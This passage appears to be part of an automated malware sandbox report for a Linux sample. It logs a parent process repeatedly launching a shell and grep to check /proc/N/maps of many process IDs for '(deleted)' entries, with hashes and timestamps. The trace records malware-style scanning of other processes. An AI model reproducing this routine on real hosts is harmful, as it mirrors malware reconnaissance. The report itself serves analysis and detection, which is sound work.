Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6809, Parent PID: 6240

General

Start time (UTC):	18:17:33
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/23/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6817, Parent PID: 6240

General

Start time (UTC):	18:17:34
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6817, Parent PID: 6240

General

Start time (UTC):	18:17:34
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/230/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6820, Parent PID: 6240

General

Start time (UTC):	18:17:35
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6820, Parent PID: 6240

General

Start time (UTC):	18:17:35
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2302/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6822, Parent PID: 6240

General

Start time (UTC):	18:17:36
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6822, Parent PID: 6240

General

Start time (UTC):	18:17:36
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2307/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6825, Parent PID: 6240

General

Start time (UTC):	18:17:37
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6825, Parent PID: 6240

General

Start time (UTC):	18:17:37
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/231/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6828, Parent PID: 6240

General

Start time (UTC):	18:17:37
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6828, Parent PID: 6240

General

Start time (UTC):	18:17:37
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/232/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6831, Parent PID: 6240

General

Start time (UTC):	18:17:38
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6831, Parent PID: 6240

General

Start time (UTC):	18:17:38
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/233/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6833, Parent PID: 6240

General

Start time (UTC):	18:17:39
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6833, Parent PID: 6240

General

Start time (UTC):	18:17:39
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/234/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6834, Parent PID: 6240

General

Start time (UTC):	18:17:40
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6834, Parent PID: 6240

General

Start time (UTC):	18:17:40
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/235/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6842, Parent PID: 6240

General

Start time (UTC):	18:17:41
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6842, Parent PID: 6240

General

Start time (UTC):	18:17:41
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/236/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6853, Parent PID: 6240

General

Start time (UTC):	18:17:41
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6853, Parent PID: 6240

General

Start time (UTC):	18:17:41
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/237/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6860, Parent PID: 6240

General

Start time (UTC):	18:17:42
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6860, Parent PID: 6240

General

Start time (UTC):	18:17:42
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/24/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6864, Parent PID: 6240

General

Start time (UTC):	18:17:43
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6864, Parent PID: 6240

General

Start time (UTC):	18:17:43
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/243/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6892, Parent PID: 6240

General

Start time (UTC):	18:17:43
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6892, Parent PID: 6240

General

Start time (UTC):	18:17:43
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/248/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6895, Parent PID: 6240

General

Start time (UTC):	18:17:44
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6895, Parent PID: 6240

General

Start time (UTC):	18:17:44
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/249/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6897, Parent PID: 6240

General

Start time (UTC):	18:17:44
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6897, Parent PID: 6240

General

Start time (UTC):	18:17:44
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/25/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6898, Parent PID: 6240

General

Start time (UTC):	18:17:45
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6898, Parent PID: 6240

General

Start time (UTC):	18:17:45
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/250/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6899, Parent PID: 6240

General

Start time (UTC):	18:17:45
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6899, Parent PID: 6240

General

Start time (UTC):	18:17:45
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/251/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6901, Parent PID: 6240

General

Start time (UTC):	18:17:46
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6901, Parent PID: 6240

General

Start time (UTC):	18:17:46
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/252/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6903, Parent PID: 6240

General

Start time (UTC):	18:17:46
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6903, Parent PID: 6240

General

Start time (UTC):	18:17:46
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/253/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6904, Parent PID: 6240

General

Start time (UTC):	18:17:47
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6904, Parent PID: 6240

General

Start time (UTC):	18:17:47
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/254/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6910, Parent PID: 6240

General

Start time (UTC):	18:17:48
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6910, Parent PID: 6240

General

Start time (UTC):	18:17:48
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/255/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6921, Parent PID: 6240

General

Start time (UTC):	18:17:48
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6921, Parent PID: 6240

General

Start time (UTC):	18:17:48
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/256/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6923, Parent PID: 6240

General

Start time (UTC):	18:17:48
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6923, Parent PID: 6240

General

Start time (UTC):	18:17:48
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/257/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6925, Parent PID: 6240

General

Start time (UTC):	18:17:49
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6925, Parent PID: 6240

General

Start time (UTC):	18:17:49
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/258/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6928, Parent PID: 6240

General

Start time (UTC):	18:17:50
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6928, Parent PID: 6240

General

Start time (UTC):	18:17:50
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/259/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6937, Parent PID: 6240

General

Start time (UTC):	18:17:50
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6937, Parent PID: 6240

General

Start time (UTC):	18:17:50
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/26/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6938, Parent PID: 6240

General

Start time (UTC):	18:17:50
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6938, Parent PID: 6240

General

Start time (UTC):	18:17:50
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/260/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6939, Parent PID: 6240

General

Start time (UTC):	18:17:51
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6939, Parent PID: 6240

General

Start time (UTC):	18:17:51
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/261/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6941, Parent PID: 6240

General

Start time (UTC):	18:17:51
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6941, Parent PID: 6240

General

Start time (UTC):	18:17:51
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/262/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6944, Parent PID: 6240

General

Start time (UTC):	18:17:51
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6944, Parent PID: 6240

General

Start time (UTC):	18:17:51
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/263/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6950, Parent PID: 6240

General

Start time (UTC):	18:17:52
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6950, Parent PID: 6240

General

Start time (UTC):	18:17:52
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2637/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6951, Parent PID: 6240

General

Start time (UTC):	18:17:52
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6951, Parent PID: 6240

General

Start time (UTC):	18:17:52
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/264/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6952, Parent PID: 6240

General

Start time (UTC):	18:17:52
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6952, Parent PID: 6240

General

Start time (UTC):	18:17:52
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/265/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6953, Parent PID: 6240

General

Start time (UTC):	18:17:52
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6953, Parent PID: 6240

General

Start time (UTC):	18:17:52
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/266/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6956, Parent PID: 6240

General

Start time (UTC):	18:17:53
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6956, Parent PID: 6240

General

Start time (UTC):	18:17:53
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/267/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6957, Parent PID: 6240

General

Start time (UTC):	18:17:53
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6957, Parent PID: 6240

General

Start time (UTC):	18:17:53
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/269/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6958, Parent PID: 6240

General

Start time (UTC):	18:17:53
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6958, Parent PID: 6240

General

Start time (UTC):	18:17:53
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/27/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6959, Parent PID: 6240

General

Start time (UTC):	18:17:53
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6959, Parent PID: 6240

General

Start time (UTC):	18:17:53
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/270/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6960, Parent PID: 6240

General

Start time (UTC):	18:17:54
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6960, Parent PID: 6240

General

Start time (UTC):	18:17:54
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/272/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6962, Parent PID: 6240

General

Start time (UTC):	18:17:54
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6962, Parent PID: 6240

General

Start time (UTC):	18:17:54
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/274/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6965, Parent PID: 6240

General

Start time (UTC):	18:17:55
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6965, Parent PID: 6240

General

Start time (UTC):	18:17:55
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2746/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6966, Parent PID: 6240

General

Start time (UTC):	18:17:55
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6966, Parent PID: 6240

General

Start time (UTC):	18:17:55
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2749/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 6967, Parent PID: 6240

General

Start time (UTC):	18:17:56
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 6967, Parent PID: 6240

General

Start time (UTC):	18:17:56
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2761/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7087, Parent PID: 6240

General

Start time (UTC):	18:17:56
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7087, Parent PID: 6240

General

Start time (UTC):	18:17:56
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/278/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7088, Parent PID: 6240

General

Start time (UTC):	18:17:56
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7088, Parent PID: 6240

General

Start time (UTC):	18:17:56
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/28/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7092, Parent PID: 6240

General

Start time (UTC):	18:17:57
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7092, Parent PID: 6240

General

Start time (UTC):	18:17:57
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/281/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7093, Parent PID: 6240

General

Start time (UTC):	18:17:57
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7093, Parent PID: 6240

General

Start time (UTC):	18:17:57
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/286/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7098, Parent PID: 6240

General

Start time (UTC):	18:17:57
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7098, Parent PID: 6240

General

Start time (UTC):	18:17:57
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/2882/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7104, Parent PID: 6240

General

Start time (UTC):	18:17:58
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7104, Parent PID: 6240

General

Start time (UTC):	18:17:58
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/29/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7107, Parent PID: 6240

General

Start time (UTC):	18:17:59
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7107, Parent PID: 6240

General

Start time (UTC):	18:17:59
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/3/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7108, Parent PID: 6240

General

Start time (UTC):	18:17:59
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7108, Parent PID: 6240

General

Start time (UTC):	18:17:59
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/30/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7109, Parent PID: 6240

General

Start time (UTC):	18:17:59
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7109, Parent PID: 6240

General

Start time (UTC):	18:17:59
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/3021/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7112, Parent PID: 6240

General

Start time (UTC):	18:18:00
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: grep PID: 7112, Parent PID: 6240

General

Start time (UTC):	18:18:00
Start date (UTC):	31/12/2024
Path:	/usr/bin/grep
Arguments:	grep -q (deleted) /proc/3088/maps
File size:	199136 bytes
MD5 hash:	1e6ebb9dd094f774478f72727bdba0f5

Chronological Activities

Analysis Process: sh PID: 7116, Parent PID: 6240

General

Start time (UTC):	18:18:00
Start date (UTC):	31/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

